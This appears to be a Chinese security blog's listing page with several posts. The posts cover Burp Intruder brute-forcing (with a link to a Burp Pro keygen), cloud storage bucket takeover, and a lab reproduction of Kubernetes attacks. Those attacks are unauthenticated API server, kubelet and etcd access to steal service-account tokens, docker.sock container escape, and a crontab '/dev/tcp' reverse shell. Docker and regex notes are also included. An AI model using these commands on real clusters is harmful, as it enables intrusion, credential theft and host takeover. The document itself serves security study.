首页
友链
联系我吧
Search
1
狮子鱼CMS ApiController.class.php SQL注入漏洞复现
2,436 阅读
2
SSRF绕过总结
1,125 阅读
3
存储桶接管-漏洞复现
887 阅读
4
k8s安装及部分漏洞复现
847 阅读
5
春秋云镜免费靶场记录10.11
813 阅读
web
welcome
漏洞复现
挖洞实战
总结
登录
/
注册
Search
n00bk1ng
累计撰写
36
篇文章
累计收到
9
条评论
首页
栏目
web
welcome
漏洞复现
挖洞实战
总结
页面
友链
联系我吧
搜索到
36
篇与
noob
的结果
2022-08-16
Burp Intruder用法及小技巧
环境burp版本:burpsuite_pro_v2022.8注册机:https://github.com/h3110w0r1d-y/BurpLoaderKeygen常规Sniper最常规的使用方法,对单一参数进行爆破。用法:选定参数直接进行爆破即可选定区间爆破Battering ram多组参数,同一参数同时爆破,爆破次数取决于字典数。用法:选定多组参数、单一字典进行爆破选定区间爆破Pitchfork多组参数,每组参数使用不同字典进行爆破,同时爆破,次数取决于字典数较少的那一个用法:为每一组参数设置一个字典,进行爆破。分别设置字典进行爆破,次数为较少的那个Cluster bomb多组参数,每组参数使用不同字典进行爆破,每组字典单独爆破,次数为m*n,常见于账密爆破。用法:同Pitchfork如图,次数已经变为130(10*13)爆破其他用法自定义爆破内容设置在设置字典时,可以使用外部字典引入,此时Payload type为simple list①如果要爆破路径,或者是api,那么需要在下面的Payload Encoding处取消√,否则等字符会被编码,如果带有必要参数,则自定义设置哪些需要编码即可②有些时候需要对当前爆破字段进行编码,要将爆破的payload进行编码,此时就需要在Payload Processing中进行设置,例如base64编码:设置后进行爆破,就被编码成功了③参数组合后的编码时,需要利用到Payload type中的Custom iterator功能,此时可以在Payload Options中进行设置选择参数处于分组设置第一组参数第二组第三组再从下面的Payload Processing中设置编码方式进行爆破,此时输出即为分组参数字典设置后的编码爆破内容的处理在面对sql时间盲注的时候,响应时间是非常重要的参数,因此如何在使用intruder进行爆破的时候发现盲注,就需要自己进行设置,在爆破后的Columns中可以看到response received和response completed,选择后,就可以看到响应时间设置前设置后文件内容读取在有一些存储桶目录遍历或者拿到一个文件目录的时候,假如有10000+的zip文件,且下载时无后缀,要求提取所有的zip文件,此时可以用burp加简单脚本处理此问题,例如如下环境:此时已知,下载文件后均命名为DownloadFile先用正则将所有的文件key提取出来,然后使用intruder进行爆破,如图:然后进行文件处理,在Save->Server responses中,选择保存,保存下来后,在目录下可以看到全部下载成功,但是携带了响应头然后使用一个脚本进行输出即可:for i in range(1, 1000): x = open(f'{i}.zip', 'wb') with open(f'{i}', 'rb') as f: a = f.read().split(b'\r\n\r\n') x.write(a[1]) x.close()爆破明文保存在save->Save results table中,可以设置将爆破的表格保存保存后如图:爆破格式保存在Save->Attack configuration中,可以将此次的爆破格式保存。验证码爆破使用大佬插件链接:https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247487792&idx=1&sn=6a6dd8c208075ea7854664f0c93fa5ed线程及响应时间第一个是线程,第二个是响应时间,可以根据自己需要进行自定义设置
2022年08月16日
265 阅读
0 评论
0 点赞
2022-05-23
存储桶接管-漏洞复现
漏洞原理类似于子域名接管,在存储桶被删除但是cname解析未删除的情况下,新建同名Bucket即可接管存储桶漏洞特征阿里云直接访问域名地址,显示AccessDenied访问下方存储桶地址,显示NoSuchBucket说明可以接管当前Bucket腾讯云访问下方存储桶地址,显示AccessDenied直接访问域名地址,显示NoSuchBucket说明可以接管当前Bucket百度云访问存储桶地址,显示NoSuchBucket直接访问域名位置,显示AccessDenied说明可以接管当前Bucket(不过百度云接管后Bucket存在一些不允许再次删除的不可逆问题)漏洞复现新建一个同名Bucket此时访问接管成功,尝试上传文件并配置访问权限由于并没有删除cname解析,所以直接添加域名解析就可以实现子域名接管
2022年05月23日
887 阅读
0 评论
0 点赞
2022-05-16
k8s常用命令--用到就更
创建pods:kubectl run {pod名} --image={镜像} --port={端口}获取pod列表:kubectl get pods获取namespace列表:kubectl get namespace获取容器用户:kubectl -n {namespace名} get sa获取用户token:kubectl describe secret {用户名} -n {namespace名}获取namespace及属性:kubectl get svc --all-namespaces修改namespace配置文件:kubectl edit svc {name} -n {namespace}
2022年05月16日
128 阅读
0 评论
0 点赞
2022-05-09
k8s安装及部分漏洞复现
k8s安装环境Ubuntu 20.04 LTS x64工具:metarget安装docker:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun安装metarget:git clone https://github.com/Metarget/metarget.git cd metarget/ pip3 install -r requirements.txt此时可以安装任意版本k8s,我们安装1.16.5版本: ./metarget gadget install k8s --version=1.16.5Kubernetes API Server未授权访问列举下Kubernetes组件的一些服务及默认端口:组件默认端口说明APIServer6443基于HTTPS的安全端口APIServer8080不安全的HTTP端口,不建议启用Kubelet10248用于检查Kubelet健康状态的HTTP端口Kubelet10250面向API Server提供服务的HTTPS端口Dashboard8001提供HTTP服务的端口etcd2379客户端与服务端之间通信的端口etcd2380不同服务端实例之间通信的端口首先是8080端口的位置,默认情况下,6443端口支持认证和授权服务,但8080端口是没有的,不过较新版本的Kubernets中8080默认不启动,cat /etc/kubernetes/manifests/kube-apiserver.yaml即可查看当前配置将其修改为- --insecure-port=8080,并添加- --insecure-bind-address=0.0.0.0,重启服务(systemctl restart kubelet),即可开启8080端口的HTTP服务,如果是在云服务器进行测试的话,建议开放所有端口方便复现iptables -P INPUT ACCEPT iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT iptables -F iptables-save此时访问如图:执行命令 通过kubectl -s命令创建podskubectl run n00bk1ng --image=nginx --port=1112查看podskubectl -s 127.0.0.1:8080 get pods进入容器直接执行命令:获取service-account-token访问/api/v1/namespaces/kube-system/secrets/:获取宿主机权限-通过k8s dashboard,创建特权PodsKubernets Dashboard是基于Web的Kubernets用户界面,可以利用他来在集群中部署、调试容器化应用,或者管理集群资源,也就是获取集群中应用运行状态的概览,创建活修改Kubernets资源。安装Dashboard:wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml下载后进行修改- --enable-skip-login - -- insecure-bind-address=0.0.0.0 kubectl apply -f recommended.yamlwget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml kubectl apply -f insecure-kubernetes-dashboard.yml kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80 或者 kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80新建account.yaml,写入一个新账号: # Creating a Service Account apiVersion: v1 kind: ServiceAccount metadata: name: admin-user namespace: kubernetes-dashboard --- # Creating a ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-user roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-admin subjects: - kind: ServiceAccount name: admin-user namespace: kubernetes-dashboard 然后kubectl apply -f account.yaml,新建成功后,获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"出现不安全的访问,使用kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443,但是我这里一直连接重置,就没再继续下去关于443端口转发问题的解决上述问题出现后,本质问题是需要访问https服务,于是,我重新开始。wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml kubectl apply -frecommended.yamlapply之后,可以看到是ClusterIp,于是下一步要进行设置# 创建dashboard-ingress.yaml文件,用来指向一个域名 vim dashboard-ingress.yaml # 文件内容 apiVersion: extensions/v1beta1 kind: Ingress metadata: name: kubernetes-dashboard namespace: kubernetes-dashboard annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/backend-protocol: HTTPS nginx.ingress.kubernetes.io/configuration-snippet: |- proxy_ssl_server_name on; proxy_ssl_name $host; spec: rules: - host:这里写你的域名 http: paths: - path: / backend: serviceName: kubernetes-dashboard servicePort: 443 # apply文件 kubectl apply -f dashboard-ingress.yaml此时可以访问你的host地址发现未成功,因为还没有设置NonePort已经端口转发的地址# 新建一个recommend.yaml文件,用来设置管理员并定义角色端口 vim recommend.yaml # recommend.yaml文件内容 kind: Service apiVersion: v1 metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboard spec: type: NodePort #新增的 ports: - port: 443 targetPort: 8443 nodePort: 32000 # 新增的,此端口与NodePort不要写一样 selector: k8s-app: kubernetes-dashboard # apply文件 kubectl apply -f recommend.yaml配置完成后,访问此处新增的32000端口,如图:问题解决获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/kubernetes-dashboard -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"但是这里还是不能获取权限,于是我去搜了下,显示有超级用户才可以,于是去找超级用户(cluster-admin),参考链接:【深入分析】Kubernetes RBAC角色权限控制# 新建admin.yaml apiVersion: v1 kind: ServiceAccount metadata: name: dashboard-admin namespace: kube-system --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: name: dashboard-admin subjects: - kind: ServiceAccount name: dashboard-admin namespace: kube-system roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io # apply文件 kubectl apply -f admin.yaml # 查看对应的用户名 kubectl describe sa -n kube-system dashboard-admin # 获取token kubectl describe secret dashboard-admin-token-np46j -n kube-system成功获取token将根目录挂载到/mnt下成功挂载在/mnt目录下看到宿主机目录使用chroot获取权限读文件,执行命令反弹shell6443端口-system:anonymous错误配置将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令,未设置时进行访问:修改配置:kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous拼接访问namespace拼接访问默认namespace的pods:/api/v1/namespaces/default/pods获取token:/api/v1/namespaces/kube-system/secrets/k8s kubelet 10250端口未授权访问端口提示404,访问pods路径提示未授权401修改配置,在/var/lib/kubelet/config.yaml中修改:重启systemctl restart kubelet执行命令curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"需要namespace、pod、container三个参数,在https://ip:10250/runningpods/中可以找到但是我在刚才的pods中同样可以看到个人猜测是runningpods的都是正在运行的,而pods里不一定是此时执行命令:获取凭证curl -XPOST -k https://{ip}}:10250/run/default/n00bk1ng-567cb46757-lcnds/n00bk1ng -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"原理:一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token。如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作可以直接访问dashboardetcd未授权未指定--client-cert-auth参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害修改配置文件:/etc/kubernetes/manifests/etcd.yaml正常访问:此时就需要利用证书进行访问,然后就是证书泄露证书泄露安装etcd-client:apt install etcd-clientexport ETCDCTL_API=3 export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key查看证书:etcdctl --endpoints=https://127.0.0.1:2379/ get / --prefix --keys-only获取token路径:etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole然后获取token:etcdctl --endpoints=https://127.0.0.1:2379/ get {证书路径}然后带着token获取集群权限:kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods挂载docker.sock大佬说的:/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)安装docker首先创建一个docker容器:docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04再在容器中安装docker:# ubuntu 18.04安装 dockersudo apt-get update # 安装依赖包 sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common # 添加 Docker 的官方 GPG 密钥 curl -fsSL https:# download.docker.com/linux/ubuntu/gpg | sudo apt-key add - # 验证您现在是否拥有带有指纹的密钥 sudo apt-key fingerprint 0EBFCD88 # 设置稳定版仓库 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" # 更新 sudo apt-get update # 安装最新的Docker-ce sudo apt-get install docker-ce # 启动 sudo systemctl enable docker sudo systemctl start docker这时已经可以从容器docker ps中看到宿主机的容器了容器逃逸将宿主机的根目录挂载到容器中docker run -it -v /:/root ubuntu:18.04 /bin/bash chroot root拿下!反弹shell通过修改crontab定时任务来反弹shellcrontab -e * * * * * /bin/bash -i >& /dev/tcp/ip/123 0>&1 但是,没弹成功,于是就去找原因,后来发现Ubuntu需要满足其他条件,比如/var/spool/cron/crontabs/root的权限一定得是600,也就是rw-------,其次是反弹shell的命令需要修改一下,改为*/1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1",这里和/bin/bash找不到有关,不过我用/bin/sh也没有成功,还是得用bash,最后payload:crontab -e */1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1"解决文章放在参考链接中了。总结第一次搞k8s,跟着大佬的文章做了多天的复现,最后虽然还是有一些遗留问题,但是后面一定回回头解决,学到了很多k8s的知识,熟悉了kubectl的命令,了解了k8s配置文件中一些重要的配置,还第一次尝试了容器逃逸...很遗憾没接触到dashboard,不过后面一定回来补充,感谢年少有为师傅的文章,受益匪浅。参考链接: 浅析K8S各种未授权攻击方法 解决ubuntu crontab反弹shell失败的问题 云原生安全:攻防实践与体系构建 k8s-Service k8s安装步骤(1.22.0版本)k8s 安装dashboard(k8s教程-2)安装kubernetes-dashboard【深入分析】Kubernetes RBAC角色权限控制etcd v3使用方法
2022年05月09日
847 阅读
0 评论
2 点赞
2022-05-03
submine正则表达式匹配
打开正则Find中可以直接用常规正则语句进行匹配,不再展开,举例说明,如图:想要将方法名和作用以:连接可以直接使用os.*[a-z].*\n.*\n.*\n.*\n直接匹配内容需要解决的问题是如何进行替换,即replace模块,由于不能在replace处使用正则,submine提供了使用()进行间隔的方式进行匹配,然后在replace中使用$n符进行连接,如图:进行匹配:Find:(os.*[a-z].*)(\n.*)(\n.*)(\n.*)(\n) Replace:$1:$3然后:后的n替换为空即可解决ps:匹配中文:[u4E00-u9FA5]*
2022年05月03日
97 阅读
0 评论
2 点赞
2022-04-18
docker容器常用命令
Ubuntu安装docker阿里镜像源:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun国内镜像源:curl -sSL https://get.daocloud.io/docker | shDocker-compose安装使用安装: sudo curl -L "https://github.com/docker/compose/releases/download/v2.2.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose安装设置环境:docker-compose up -d常用命令查看docker目录:docker ps启动容器:docker run -it 容器名 /bin/bashdocker run -it xxx /bin/bash拉取容器:docker pull 镜像地址docker pull xxxxxxxxxx关闭容器:docker kill 容器Iddocker kill xxxxxxxxxx重启容器:docker restart 容器Iddocker restart xxxxxxxxxx删除容器:docker rm -f 容器Iddocker rm -f xxxxxxxxxx进入容器1:docker exec -it 容器ID /bin/bashdocker exec -it xxxxxxxxxx /bin/bash进入容器2:docker exec -it 容器名 /bin/bash容器文件复制到服务器中:docker cp 容器Id:容器文件目录 服务器存储目录docker cp xxxxxxxxxx:/root/1.txt /root服务器文件复制到容器中:docker cp 服务器文件目录 容器Id:容器存储目录docker cp /root xxxxxxxxxx:/root/1.txt容器映射端口:docker run -d -p 默认端口:映射端口 容器Iddocker run -d -p 11100:8080检查端口映射情况:docker port 容器Iddocker port xxxxxxxxxx查看容器内部运行进程:docker top 容器Iddocker top xxxxxxxxxx导入容器快照:cat 容器快照文件 | docker import - 镜像位置cat docker/ubuntu.tar | docker import - test/ubuntu:v1
2022年04月18日
127 阅读
0 评论
4 点赞
1
2
3
...
6